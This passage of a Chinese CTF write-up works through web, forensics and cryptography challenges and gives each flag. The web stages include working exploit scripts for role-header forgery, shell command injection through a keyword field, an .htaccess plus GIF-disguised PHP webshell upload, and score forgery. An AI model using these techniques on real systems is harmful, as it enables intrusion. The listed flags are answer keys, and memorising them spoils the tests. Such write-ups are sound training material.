: LOG, "x" : payload}, timeout=15 , ) m = re.search(mark + r"S(.*?)" + mark + r"E" , r.text, re.S) return m.group(1 ).strip() if m else r.text[-3000 :] print ("[+] id:" )print (run("id" ))print ("[+] /:" )print (run("ls -la /" ))print ("[+] entrypoint.sh:" )print (run("cat /entrypoint.sh" ))print ("[+] env:" )env_out = run("env" ) print (env_out)flag = re.search(r"ZeroGFlag\{[^}]+\}" , env_out) print ("[+] flag:" , flag.group(0 ) if flag else "not found" )
脚本执行到 env 这一步即可得到:
1 [+] flag: ZeroGFlag{a6b8baab-6185-4ffb-8875-b33edf44af3c}
Flag
ZeroGFlag{a6b8baab-6185-4ffb-8875-b33edf44af3c}
Stage 3 ShopX 全球购
ShopX 全球购是一家跨境电商平台,官网面向普通买家,另有一套供内部运营人员使用的订单履约控制台。
Fen是刚入职的安全实习生,被要求评估「运营控制台」的访问控制是否可靠。(这个公司也就这样了 让实习生干这个)
在进行监察的时候小小的实习生很倒霉在他不注意的时候有人用了他的账号
请以普通买家账号 alice 开始,完成一次越权测试:
提供账号:alice / alice123
这下好了Fen要离开这个公司了(不过这也是个好事)
在Fen走后公司成功破产了
思路
robots.txt 泄露了 /ops.html、/api/admin/、/api/internal/;/ops.html 的隐藏说明又直接写出网关契约:后端只信任 X-Auth-Role,剥除同名头的前提是流量确实经过网关。当前直连源站,因此可以自行伪造。
以 alice 登录后,普通请求访问 /api/admin/orders 返回 403;只加 X-Auth-Role: admin 即返回全部订单。随后对目标订单调用发货接口,响应中的 manifest.verifyCode 就是 flag。
过程
完整利用脚本
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 import requestsBASE = "http://xxx" s = requests.Session() r = s.post( BASE + "/api/login" , json={"username" : "alice" , "password" : "alice123" }, timeout=15 , ) print ("login:" , r.status_code, r.text)r = s.get(BASE + "/api/admin/orders" , timeout=15 ) print ("normal:" , r.status_code, r.text)headers = {"X-Auth-Role" : "admin" } r = s.get(BASE + "/api/admin/orders" , headers=headers, timeout=15 ) print ("admin orders:" , r.status_code)orders = r.json()["orders" ] for order in orders: print (order["id" ], order["ownerId" ], order["status" ], order["amount" ]) target = "SO-2024-1001" r = s.post( BASE + f"/api/admin/orders/{target} /ship" , headers={**headers, "Content-Type" : "application/json" }, json={"carrier" : "SF-Express" }, timeout=15 , ) print ("ship:" , r.status_code, r.text)data = r.json() print ("trackingNo:" , data["manifest" ]["trackingNo" ])print ("verifyCode:" , data["manifest" ]["verifyCode" ])
运行结果中的 verifyCode 为:
1 ZeroGFlag{a3fd6dd1-18d8-49aa-be17-16f7cac3ca38}
Flag
ZeroGFlag{a3fd6dd1-18d8-49aa-be17-16f7cac3ca38}
Stage 3 社交平台综合渗透
某社交平台正在对外测试。站点前台提供联系人、消息、动态与聊天室功能,后台则提供用户管理、信息审核与数据统计。
离开上一家公司的Fen来到了这里又干起来实习生
平台方希望你在授权范围内完成一次综合渗透测试,最终读取服务器上的站点口令。(又让实习生干这个,实习生真的能干吗?)
所以Fen请了外援。希望你们能够帮助他(主要是不想找工作了) 管理员账号:admin / Admin@2026!Pql
思路
前台聊天室的 {{7*7}} 只能做有限表达式求值,不是主入口。后台 keyword 被单引号包裹后直接拼进 shell,且黑名单只拦截 flag、cat、;、| 等,没有拦截单引号、$、括号和重定向。
先用 -rA1 做 grep 参数注入,让 grep 递归读取后台目录并把 $cmd 所在行作为上下文带出,确认拼接方式;再用 '$(...)' 闭合单引号执行命令,把输出写入 Web 目录。
过程
完整利用脚本
下面的脚本完成登录、通过 -rA1 读取 $cmd、命令执行以及读取 /flag:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 import reimport timeimport requestsimport urllib3urllib3.disable_warnings() BASE = "http://xxx" USERNAME = "admin" PASSWORD = "Admin@2026!Pql" s = requests.Session() s.post( f"{BASE} /admin/login.php" , data={"username" : USERNAME, "password" : PASSWORD}, timeout=30 , ) def post_keyword (keyword: str ): return s.post( f"{BASE} /admin/review.php" , data={"keyword" : keyword}, timeout=60 , ) r = post_keyword("-rA1" ) pre = re.search(r"(?s)<pre>(.*?)</pre>" , r.text) if pre: for line in pre.group(1 ).splitlines(): if "$cmd" in line: print ("[source]" , line) payload = "'$(id>/var/www/html/out.txt)'" post_keyword(payload) time.sleep(0.3 ) r = requests.get(f"{BASE} /out.txt" , timeout=20 ) print ("[id]" , r.text.strip())payload = "'$(head /f*>/var/www/html/a.txt)'" post_keyword(payload) time.sleep(0.3 ) r = requests.get(f"{BASE} /a.txt" , timeout=20 ) print ("[flag]" , r.text.strip())
运行结果:
1 2 3 [source] review.php- $cmd = "grep -v '" . $keyword . "' /var/log/review.log"; [id] uid=33(www-data) gid=33(www-data) groups=33(www-data) [flag] ZeroGFlag{4554d05e-4323-4b0a-9736-5c85334049e1}
最终站点口令为:
1 ZeroGFlag{4554d05e-4323-4b0a-9736-5c85334049e1}
Flag
ZeroGFlag{4554d05e-4323-4b0a-9736-5c85334049e1}
Stage3 — Upload
只要能上传那个文件,一切都会好起来的……
思路
先登录后台,在配置上传处写入 .htaccess:
1 AddHandler application/x-httpd-php .jpg
让 uploads/ 下的 .jpg 交给 PHP 解析。然后制作图片马:
GIF89a 满足图片类型检查,<?= 是短输出标签,反引号执行命令。上传为 poster.jpg 后访问 /uploads/poster.jpg 即触发。
过程
完整利用脚本
下面的脚本自动完成登录、写入 .htaccess、上传图片马、触发执行并提取 flag。依赖 requests:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 import reimport sysimport timeimport requestsBASE = sys.argv[1 ].rstrip("/" ) if len (sys.argv) > 1 else ( "http://xxx" ) s = requests.Session() r = s.post( f"{BASE} /admin/login.php" , data={"username" : "admin" , "password" : "nimda" }, allow_redirects=False , timeout=10 , ) print ("[*] login:" , r.status_code, r.headers.get("Location" ))if r.status_code != 302 : print (r.text) raise SystemExit("login failed" ) htaccess = b"AddHandler application/x-httpd-php .jpg\n" r = s.post( f"{BASE} /admin/config.php" , files={"config_file" : (".htaccess" , htaccess, "text/plain" )}, timeout=10 , ) print ("[*] htaccess:" , "success" if "已成功更新" in r.text else "upload failed" )payload = b"GIF89a<?= `env` ?>\n" r = s.post( f"{BASE} /admin/poster.php" , files={"poster" : ("poster.jpg" , payload, "image/gif" )}, timeout=10 , ) print ("[*] poster:" , "success" if "海报已成功更新" in r.text else "upload failed" )r = s.get(f"{BASE} /uploads/poster.jpg" , params={"t" : int (time.time())}, timeout=10 ) print ("[*] output:\n" + r.text)m = re.search(r"[A-Za-z0-9_]*Flag\{[^}]+\}" , r.text) print ("[+] flag:" , m.group(0 ) if m else "not found" )
运行:
1 python3 exploit.py 'http://xxx'
输出末尾:
1 [+] flag: ZeroGFlag{bb9672ff-87b1-4dce-96c0-9525ef234307}
构造图片马
直接用 PHP 代码上传会被图片类型检查拦截,因此在 PHP 代码前加上 GIF 文件头 GIF89a,同时上传时声明 Content-Type: image/gif,文件名为 poster.jpg。
Payload:
其中:
GIF89a 用于满足图片魔数/类型检查;
<?= 是 PHP 的短输出标签,等价于 <?php echo ...; ?>,在 PHP 8 中始终可用;
反引号是 PHP 的命令执行运算符,等价于 shell_exec(),命令的标准输出会作为字符串返回并输出;
文件保存为 .jpg,配合前面写入的 .htaccess,会被 Apache 交给 PHP 解析。
创建 payload 文件:
1 printf 'GIF89a<?= `id` ?>\n' > p.jpg
上传并覆盖海报:
1 2 3 curl -i -b cj.txt \ -F 'poster=@p.jpg;filename=poster.jpg;type=image/gif' \ "$BASE /admin/poster.php"
返回:
1 <div class ="success" > 海报已成功更新!</div >
访问海报文件:
1 curl "$BASE /uploads/poster.jpg"
得到:
1 GIF89auid=33(www-data) gid=33(www-data) groups=33(www-data)
GIF89a 是文件头被原样输出,后面的 uid=33(www-data) 是 id 命令的执行结果,说明 .htaccess 已生效,uploads/poster.jpg 已经可以作为 PHP 执行任意命令。
Flag
ZeroGFlag{bb9672ff-87b1-4dce-96c0-9525ef234307}
Stage3—重生之我在零重力屋顶当“卷王”
一觉醒来,你竟然重生成了碰星娘!还没来得及庆祝,你发现自己正身处零重力屋顶,被迫参加一场的跑酷游戏。
规则听着挺简单:穿过一个霓虹星环加5分,攒够3000分就能光荣下班。但看着眼前那漫无边际的星环,你流下了属于牛马的辛酸泪——这得跑到猴年马月去?实在太“肝”了,难道真要在屋顶跳到腿抽筋?
flag格式:ZeroG{…}
思路
engine.js 中每个星环 5 分,3000 分需要 600 个星环。但 grades 只是把 {"score":分数} 做了一次 Base64,没有签名。服务端只检查 score >= 3000,没有根据 seed 在服务端重放游戏。
因此申请一次 run 后,直接伪造 {"score":3000} 提交即可。可对比 score=5、score=2995 均返回 403 SCORE_TOO_LOW,证明分数完全由客户端控制。
过程
完整利用脚本
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 import base64import jsonimport urllib.requestimport urllib.errorBASE = "http://xxx" def post (path, payload ): data = json.dumps(payload).encode() req = urllib.request.Request( BASE + path, data=data, headers={"Content-Type" : "application/json" }, method="POST" , ) try : with urllib.request.urlopen(req, timeout=20 ) as resp: return resp.status, resp.read().decode() except urllib.error.HTTPError as exc: return exc.code, exc.read().decode() status, body = post("/api/run" , {}) print ("run:" , status, body)run_id = json.loads(body)["runId" ] grades = base64.b64encode( json.dumps({"score" : 3000 }, separators=("," , ":" )).encode() ).decode() print ("grades:" , grades)status, body = post("/api/claim" , {"runId" : run_id, "grades" : grades}) print ("claim:" , status, body)
脚本输出:
1 2 3 run: 201 {"runId":"878f6506-d339-4f68-a4f9-79e59ad03b6b","seed":1742346970,"target":3000,"expiresInSeconds":1800} grades: eyJzY29yZSI6MzAwMH0= claim: 200 {"ok":true,"code":"TARGET_REACHED","message":"终点信号已解锁","score":3000,"target":3000,"flag":"ZeroG{02e2a4b1-52e4-48c7-9ea0-3d14cb601734}"}
也可以直接在浏览器控制台执行等价逻辑:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 const run = await (await fetch ('/api/run' , { method : 'POST' , headers : { 'Content-Type' : 'application/json' }, body : '{}' })).json (); const grades = btoa (JSON .stringify ({ score : 3000 }));const result = await (await fetch ('/api/claim' , { method : 'POST' , headers : { 'Content-Type' : 'application/json' }, body : JSON .stringify ({ runId : run.runId , grades }) })).json (); console .log (result);
漏洞分析
整个流程如下:
客户端调用 POST /api/run,服务端返回一个新的 runId 和随机 seed。
客户端用 seed 在本地生成星环并运行游戏。
游戏结束后,客户端把当前分数编码成 Base64,作为 grades 提交给 POST /api/claim。
服务端只检查 grades 解码后 JSON 里的 score 是否达到 3000,并没有根据 seed 在服务端重新模拟游戏过程,也没有把最终分数和真实游戏轨迹绑定。
因此,分数完全由客户端控制。攻击者不需要真的玩游戏,只要自己构造一份分数为 3000 的 grades,再配上刚刚申请到的有效 runId 即可。
grades 的明文为:
其 Base64 编码为:
Flag
ZeroG{02e2a4b1-52e4-48c7-9ea0-3d14cb601734}
MISC Stage1 — NmapLog
Flag格式为ZeroGflag{攻击方IP_目标IP_开放端口_扫描方式命令参数}
如:ZeroGflag{1.1.1.1_0.0.0.0_3389_6379_sS} 实际端口数量以题目为准,端口顺序从小到大
上周的红队演练结束了,蓝队拿着流量日志找上门:”这堆包是你发的吧?说说,你都干了什么。”
你打开自己那次的 pcap,开始回忆:
我从哪台机器出发的?
我盯上了哪台靶机?
我探到它开了哪些端口?
我用的是哪种扫描?
别糊弄,蓝队看得懂流量。把四个答案拼成 flag 交上去。
思路
先统计 TCP 端点,192.168.1.100 与 10.0.0.50 各有 1000 个包,远超其他主机,扫描就发生在这两者之间。进一步按源/目的分组,扫描方向目标 1-1000 端口各发了一个纯 SYN。
目标对开放端口回 SYN+ACK,对关闭端口回 RST+ACK。过滤 SYN+ACK 即可得到开放端口。
过程
目标开放了哪些端口
扫描方对 10.0.0.50 的 1-1000 端口各发了一个 SYN。目标的回应只有两种:
SYN + ACK:端口开放
RST + ACK:端口关闭
用 tshark 过滤 SYN/ACK:
1 2 3 tshark -r scan.pcap \ -Y "ip.src == 10.0.0.50 && tcp.flags.syn == 1 && tcp.flags.ack == 1" \ -T fields -e frame.number -e frame.time_relative -e tcp.srcport
结果只有三个端口:
其余 997 个端口都返回 RST/ACK,说明是关闭状态。
注意这个 pcap 的帧顺序是打乱的。按帧号看,三个 SYN/ACK 依次是 22、443、80;但按时间排序后,实际响应顺序是:
题目提示也明确说了“端口顺序从小到大”,所以开放端口按升序写成:
Flag
ZeroGflag{192.168.1.100_10.0.0.50_22_80_443_sS}
Stage1 — StrangeJPG
Flag就藏在图片里
这是什么?图片!点一下!
这是什么?图片!点一下!
这是什么?图片!点一下!
思路
144098059.jpg 前半部分是标准 JPEG,文件尾 FF D9 之后拼接了一个 ZIP;压缩包内除诱饵文本 附加/《龙族》.txt 外,还有一个无扩展名的 附加/棋,其内容为 Base64,解码即得 flag。
过程
思路分析
题目给的是 JPG 图片,但文件名前没有其他提示,因此先检查文件本身是否仍然是一张“单纯的图片”。
用 file 查看,前半部分确实是标准 JPEG:
1 JPEG image data, JFIF standard 1.01, ..., 3000x2100, components 3
再用 binwalk 检查文件尾部的结构,可以发现 JPEG 数据后面还有 ZIP 结束记录:
1 2 3 4 DECIMAL HEXADECIMAL DESCRIPTION 0 0x0 JPEG image data, JFIF standard 1.01 30 0x1E TIFF image data, big-endian, ... 4612174 0x46604E End of Zip archive, footer length: 22
这说明图片后面拼接了一个 ZIP 压缩包。进一步查看 JPEG 的结束位置:
1 2 0x212DEF: FF D9 0x212DF1: 50 4B 03 04
FF D9 是 JPEG 的 EOI(End Of Image)标记,它后面的 PK\x03\x04 正是 ZIP 本地文件头。因此 ZIP 数据从偏移量 0x212DF1,也就是十进制的 2174449 开始。
直接对原文件执行 unzip -l 也能看出这一点:
1 2 3 4 5 6 7 8 Archive: 144098059.jpg warning [144098059.jpg]: 2174449 extra bytes at beginning or within zipfile (attempting to process anyway) Length Date Time Name --------- ---------- ----- ---- 0 2026-10-06 15:57 附加/ 5611747 2026-10-06 15:33 附加/《龙族》.txt 52 2026-10-06 15:56 附加/棋
压缩包中有三个条目,其中 附加/《龙族》.txt 只是一个 5 MB 左右的文本文件,属于干扰内容;真正需要关注的是只有 52 字节、没有扩展名的文件 附加/棋。
Flag
flag{Dragon_welcome_to_CTF_2026_Raja}
Stage2—碰星喵的奇妙冒险
最近碰星喵收到一份多层包装的神秘快递资料包。
喵喵:只要你有耐心,就一定能找到它。
flag格式:ZeroG{…}
思路
不要被同目录的 flag{nice_try}、old.zip、cat.jpg、receipt.zip 等诱饵带走,按清单文件(delivery_manifest.txt、manifest.txt、route_log.txt、route.csv)给出的路由逐层推进:
1 2 3 4 5 6 7 8 9 10 11 12 13 challenge.zip └── express_02.zip └── backup.zip └── parcel_03.rar # RAR5 ├── parcel_04.tail # Base64 │ └── parcel_04.zip │ └── fragile.zip # 两个 ZIP 签名被清零 │ └── layer_06.b64 │ └── layer_06.zip │ └── inner.zip │ └── flag.txt ├── parcel_04.jpg # 诱饵 └── receipt.zip # 诱饵
过程
打补丁
只需要把两个 4 字节签名写回去:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 import sys, zipfilesrc, dst = sys.argv[1 ], sys.argv[2 ] data = bytearray (open (src, "rb" ).read()) assert data[0x129 :0x12D ] == b"\x00" * 4 data[0x129 :0x12D ] = b"PK\x03\x04" assert data[0x42E :0x432 ] == b"\x00" * 4 data[0x42E :0x432 ] = b"PK\x01\x02" open (dst, "wb" ).write(data)z = zipfile.ZipFile(dst) print (z.namelist())for info in z.infolist(): print (info.filename, info.file_size) z.extractall("fragile" )
运行:
1 python fix_zip.py fragile.zip fragile_fixed.zip
修复后的 ZIP 可以正常打开,里面有:
1 2 3 damage_report.txt layer_06.b64 delivery_checksum.bin
damage_report.txt 再次说明了两个损坏位置,验证了判断。delivery_checksum.bin 里面是一段类似 PK\x01\x02... 的内容,看起来像签名残片,但它不是下一层数据,只是干扰项。
定位被清零的位置
用十六进制观察 fragile.zip,第一个本地文件头是完整的:
1 00000000 50 4B 03 04 14 00 00 00 08 00 00 00 21 00 ...
第一个文件是 damage_report.txt,文件名长度 0x11 = 17,额外字段长度 0x00,压缩后大小 0xFA = 250。
因此:
1 2 data_offset = 0x000 + 30 + 17 + 0 = 0x02F next_header = 0x02F + 0xFA = 0x129
而在 0x129 处看到的是:
1 2 00000120 ... 7E 01 00 00 00 00 14 00 00 00 08 00 00 00 21 00 ... ^^^^^^^^^^^
原本这里应该是第二个本地文件头 50 4B 03 04,即 layer_06.b64 的本地文件头,但四个字节被清零了。
接着看中央目录。第三个本地文件头位于 0x3E6,文件名为 delivery_checksum.bin,文件名长度 0x15 = 21,压缩后大小 0x15 = 21:
1 2 data_offset = 0x3E6 + 30 + 21 + 0 = 0x419 next_header = 0x419 + 0x15 = 0x42E
也就是说,中央目录应当从 0x42E 开始。实际在 0x42E 处看到:
1 2 00000420 ... 00 00 00 00 00 14 03 14 00 00 00 08 00 ... ^^^^^^^^^^^
这里本来应该是中央目录头 50 4B 01 02,四个字节同样被清零了。并且 ZIP 末尾的 EOCD 中记录的中央目录偏移正好是 0x42E,可以反向确认这个位置没有算错:
1 2 000004E0 ... 50 4B 05 06 00 00 00 00 03 00 03 00 BC 00 00 00 2E 04 00 00 00 00
其中中央目录大小为 0xBC = 188,偏移为 0x42E,与三个中央目录条目正好衔接。
Flag
ZeroG{c9bc7505-db47-4169-aea3-767aef887e9f}
Stage2—夜班值守
夜深了,有人似乎在深夜造访了服务器,留下了许多奇怪的痕迹。有人匆匆路过,有人反复敲门,还有一些请求,看起来似乎并没有表面上那么简单。
可惜,值班员已经困得睁不开眼,只来得及保存下一份访问记录:access.log。
flag格式:flag{…}
思路
不要逐行硬看,先做结构性统计。全站 5262 个 GET、56 个 POST;状态码中恰好有 56 个 202。User-Agent 统计里只有一个值出现 56 次:NightShift-Collector/1.0;Cookie 统计中同样只有 56 条非 "-":trace=NS-7734; role=nightops。
三组异常完全重合,说明这 56 个请求是同一批自动化行为。它们的路径都是 /api/telemetry/collect?seq=NN&frame=X,seq 从 1 连续到 56,frame 是单字符,符合「把一段 Base64 拆成 56 个分片依次上传」的特征。
过程
Python 提取代码
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 import reimport base64frames = {} with open ("access.log" , "r" , encoding="utf-8" , errors="replace" ) as f: for line in f: m = re.search( r'"POST /api/telemetry/collect\?seq=(\d+)&frame=([^& ]+)' , line ) if not m: continue seq = int (m.group(1 )) frames[seq] = m.group(2 ) payload = "" .join(frames[i] for i in sorted (frames)) print ("分片数量:" , len (frames))print ("seq 范围:" , min (frames), "-" , max (frames))print ("拼接结果:" , payload)print ("解码结果:" , base64.b64decode(payload).decode())
运行结果:
1 2 3 4 分片数量: 56 seq 范围: 1 - 56 拼接结果: ZmxhZ3thZjk1MzA5YS0xYjhhLTRkOTYtOTMxNS1mN2U4MDhjMjY1MDF9 解码结果: flag{af95309a-1b8a-4d96-9315-f7e808c26501}
Flag
flag{af95309a-1b8a-4d96-9315-f7e808c26501}
stage 3 幽灵提交 Ghost Commit
「云枢」地面控制台项目 zerog-console 在交接前被“清理”过一次:临时分支被删除、reflog 被清空。表面上,它只剩四条普通提交与一条主干,看不出任何异常。
可是真的是这样的吗?Fen表示我要找回全部。N1说就凭你。
Fen说不,是凭我们
现在你拿到的是这台机器上残留的一份仓库快照(包含 .git 目录)。请把被抹掉的东西找回来,还原出完整的信息。
帮助Fen获取信息反抗N1的霸权
思路
删除分支、清空 reflog 只删除引用和日志,被引用过的 Git 对象仍然留在 .git/objects 中,除非执行过 git gc --prune=now / git prune。因此直接枚举对象库即可找到悬空提交。
git fsck --lost-found --unreachable --dangling 报告了两个不可达 commit、若干 tree 和 blob;用 git cat-file -p 读取提交元信息,git ls-tree -r 列出文件,再用 git cat-file -p <blob> 取内容。
过程
解封运维笔记
internal/ops-note.md 的内容:
1 2 3 4 5 6 7 8 # 内部运维笔记(勿外传) 本次演练用的封存材料如下(按规范做了 **异或 + base64** ): YgcXCiR2CANfGVdXUFICWw1XSAcAU1dPDFEDAU4IVlAMT1UBUVNcAwtVBlJQUhk= 解封口令:本项目 **最早一次提交** 的提交信息里,括号中的 8 位十六进制。 用法:把该口令当作 ASCII 字节,循环异或即可还原明文。
需要两步:
第一步,确定口令。 “最早一次提交”指没有 parent 的根提交,用 git rev-list --max-parents=0 HEAD 取。本题就是 ebba2cc:
1 init: 初始化 zerog-console 骨架 (build 8beec0db)
括号中的 8 位十六进制为 8beec0db。口令不是当成 4 字节整数 0x8beec0db 用,而是按笔记要求当作 8 个 ASCII 字节:
\[
K = \text{ASCII}(\texttt{"8beec0db"}) = (\texttt{0x38},\texttt{0x62},\texttt{0x65},\texttt{0x65},\texttt{0x63},\texttt{0x30},\texttt{0x64},\texttt{0x62}),\quad n = 8\]第二步,先 base64 解码再循环异或。 注意顺序:笔记写”异或 + base64”,指加密时先异或再编码,所以解密要反过来。设密文串 base64 解码后为 $c_0,c_1,\dots,c_{m-1}$,则
\[
p_i = c_i \oplus K_{\,i \bmod 8},\qquad i = 0,1,\dots,m-1\]Python 实现:
1 2 3 4 5 6 7 8 import base64cipher = base64.b64decode( "YgcXCiR2CANfGVdXUFICWw1XSAcAU1dPDFEDAU4IVlAMT1UBUVNcAwtVBlJQUhk=" ) key = b"8beec0db" plain = bytes (c ^ key[i % len (key)] for i, c in enumerate (cipher)) print (plain.decode())
若用 CyberChef,等价操作是 From Base64 → XOR(key 填 UTF-8 字符串 8beec0db,勾选”循环密钥”)。
输出:
1 ZeroGFlag{223bf955-bcc3-43fd-8224-0d2c8a37c73b}
Flag
ZeroGFlag{223bf955-bcc3-43fd-8224-0d2c8a37c73b}
CRYPTO Stage 1 Noisy Beacon
一座信标正在广播加密后的坐标。Fen为每支队伍派生秘密向量 s,并给出一批带小噪声的线性观测。
请从这些观测中恢复 s,并按协议提交 proof。连接后输入队伍 token,服务端返回 JSON(n / q / m / samples / nonce)。proof 为每个分量 2 位小写十六进制 int8 补码,默认 n=40 时长度为 80。
找到独属于自己的坐标。
Fen需要知道你们的位置。才能找到你们
思路
把 $m$ 条方程写成 $b=As+e\pmod q$,其中 $|s|_\infty\le1$、$|e|_\infty\le1$。直接解线性方程组会把噪声放大,枚举噪声又要试 $3^{80}$ 种,因此改用 Kannan 嵌入,把「秘密小、噪声小」转化为格上的短向量问题。
构造 $(m+n+1)$ 维格:
\[
B=
\begin{pmatrix}
qI_m & 0 & 0\\
A & I_n & 0\\
b^{T} & 0 & 1
\end{pmatrix}\]取格点 $v=(e,-s,1)$,其长度约为 $\sqrt{2m/3+2n/3+1}\approx9$,远小于该维数的高斯启发式(约 560),LLL 可以稳定约化出来。
过程
本地求解(SageMath)
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 import json, sysfrom sage.all import matrix, ZZdef recover (n, q, m, A, b, delta=0.999 ): """Kannan embedding + LLL, return (s, e) or (None, None).""" c = 1 B = matrix(ZZ, m + n + 1 , m + n + 1 ) for i in range (m): B[i, i] = q for j in range (n): B[m + j, i] = A[i][j] for j in range (n): B[m + j, m + j] = 1 for i in range (m): B[m + n, i] = b[i] B[m + n, m + n] = c L = B.LLL(delta=delta) for r in range (L.nrows()): v = L[r] if v[m + n] == 0 : continue mid = [int (x) for x in v[m:m + n]] if any (x not in (-1 , 0 , 1 ) for x in mid): continue for sgn in (1 , -1 ): s = [sgn * x for x in mid] e, ok = [], True for i in range (m): val = (sum (A[i][j] * s[j] for j in range (n)) - b[i]) % q if val > q // 2 : val -= q if abs (val) > 2 : ok = False break e.append(val) if ok: return s, e return None , None if __name__ == "__main__" : inst = json.load(open (sys.argv[1 ])) n, q, m = inst["n" ], inst["q" ], inst["m" ] A = [row["a" ] for row in inst["samples" ]] b = [row["b" ] for row in inst["samples" ]] s, e = recover(n, q, m, A, b) print ("[*] n=%d q=%d m=%d dim=%d" % (n, q, m, m + n + 1 )) print ("[+] s =" , s) print ("[+] e =" , e) proof = "" .join("%02x" % (x & 0xFF ) for x in s) print ("[+] proof =" , proof, "(%d hex)" % len (proof))
构造格
把未知量写成整数向量形式。对每条方程引入整数 $k_i$,使
\[
A s + e - b = q k\]即
\[
A s - q k - b = -e\]于是 $(e,\,-s)$ 是一个“线性组合产生的短向量”。构造 $(m+n+1)$ 维格 $L$,基矩阵按行排列为
\[
B=
\begin{pmatrix}
q I_m & 0 & 0\\
A & I_n & 0\\
b^{T} & 0 & c
\end{pmatrix}
\in\mathbb{Z}^{(m+n+1)\times(m+n+1)},
\qquad c=1\]其中 $A$ 是 $m\times n$ 矩阵,$b^T$ 是 $1\times m$ 行向量。取整数系数 $x\in\mathbb{Z}^m$(作用于前 $m$ 行)、$y\in\mathbb{Z}^n$(作用于中间 $n$ 行)、$z\in\mathbb{Z}$(作用于最后一行),得到格点
\[
v=(q x + A y + z b,\; y,\; z c)\]令 $z=1,\; y=-s$。由 $b=As+e-qk$ 得
\[
q x + A(-s) + b = qx - As + As + e - qk = q(x-k)+e\]取 $x=k$,则
\[
v=(e,\;-s,\;c)\]这就是我们要找的短向量。它的长度平方为
\[
\|v\|^2=\|e\|^2+\|s\|^2+c^2
\approx \frac{2m}{3}+\frac{2n}{3}+1
= \frac{160}{3}+\frac{80}{3}+1\approx 81\]即 $|v|\approx 9$。
Flag
ZeroGFlag{3cd03e8f-69d6-4d49-9df4-d6002336dabe}
Stage1 — CommonModules
情报部门截获了同一条消息的两份密文。使用的都是 RSA,模数一模一样,只是加密指数不同。 “反正模数没泄露,应该是安全的吧?”——分析师如是说。
思路
经典的共模攻击。由于 $\gcd(e_1,e_2)=1$,用扩展欧几里得算法求出 $s_1,s_2$ 使
\[
s_1e_1+s_2e_2=1\]则
\[
c_1^{s_1}c_2^{s_2}\equiv m^{s_1e_1+s_2e_2}\equiv m\pmod n\]整个过程不需要分解 $n$,负数指数用模逆元处理。
过程
求解步骤
第一步:计算两个指数的最大公约数。
\[
\gcd(17,65537)=1\]满足共模攻击的条件。如果两个指数不互素,这个构造只能得到 $m^{\gcd(e_1,e_2)}$,还需要额外开方。
第二步:用扩展欧几里得算法求 $s_1,s_2$。
先做欧几里得除法:
\[
65537=3855\times 17+2\]\[
17=8\times 2+1\]回代:
\[
1=17-8\times 2
=17-8(65537-3855\times 17)
=(1+8\times 3855)\times 17-8\times 65537\]即
\[
1=30841\times 17-8\times 65537\]因此
\[
s_1=30841,\qquad s_2=-8\]验证:
\[
30841\times17-8\times65537=524297-524296=1\]第三步:代入共模攻击公式。
因为 $s_2=-8$,先把 $c_2$ 换成模逆元:
\[
c_2^{-1}\bmod n
=34584936339316189510212548426367771079740699481800810737946931208755083673328687866437754558210951076837264593118372799549365725692647171403849716901474545546037665070788461940614423777276674373867280659441188910468626497017973475401878319161571758353603524170992950945886909460053476147075329086005433953608\]于是
\[
m\equiv c_1^{30841}\cdot (c_2^{-1})^{8}\pmod n\]计算得到
\[
m=56006392793405063258264901483171477006371738120388153003805284566478930607931168298170125893661964669\]第四步:把整数还原成字节。
\[
m=0\text{x}666c61677b34376539633433312d386439382d343436372d626462632d6431323936633735376139397d\]十六进制按字节解码:
1 2 66 6c 61 67 7b 34 37 65 39 63 34 33 31 2d 38 64 39 38 2d 34 34 36 37 2d 62 64 62 63 2d 64 31 32 39 36 63 37 35 37 61 39 39 7d f l a g { 4 7 e 9 c 4 3 1 - 8 d 9 8 - 4 4 6 7 - b d b c - d 1 2 9 6 c 7 5 7 a 9 9 }
得到 flag:
1 flag{47e9c431-8d98-4467-bdbc-d1296c757a99}
第五步:验证。
把恢复出的 $m$ 分别代回两组公钥:
\[
m^{17}\bmod n=c_1\]\[
m^{65537}\bmod n=c_2\]两次验证均成立,说明恢复出的明文正确。
攻击原理
普通的 RSA 加密中,公钥为 $(n,e)$,加密过程是 $c \equiv m^e \pmod n$。如果只知道一组 $(n,e,c)$,在 $n$ 无法分解的情况下通常不能直接恢复 $m$。但这道题里同一个模数被两个互素的指数使用,于是可以构造出明文的一个线性组合。
由于
\[
\gcd(e_1,e_2)=\gcd(17,65537)=1\]根据扩展欧几里得算法,存在整数 $s_1,s_2$ 使得
\[
s_1e_1+s_2e_2=1\]把两份密文分别取 $s_1,s_2$ 次幂再相乘:
\[
c_1^{s_1}c_2^{s_2}
\equiv (m^{e_1})^{s_1}(m^{e_2})^{s_2}
\equiv m^{s_1e_1+s_2e_2}
\equiv m^1
\equiv m \pmod n\]所以明文可以直接写成
\[
m\equiv c_1^{s_1}c_2^{s_2}\pmod n\]整个攻击不需要分解 $n$,也不需要知道私钥 $d$。指数为负数时,用模逆元代替:
\[
c^{-k}\equiv (c^{-1})^k\pmod n\]Flag
flag{47e9c431-8d98-4467-bdbc-d1296c757a99}
Stage1 RSA Linear Broadcast
一个广播站使用多个 RSA 公钥发送同一条消息。为了增加随机性,每次加密前会对明文做线性变换。
Fen想要这条消息但是他一个人没办法搞定。现在就需要你们的帮忙了
N1对于这种行为表示鄙视
输入队伍 token 后服务端返回 e、instances(每条含 n / a / b / c)与 nonce。
思路
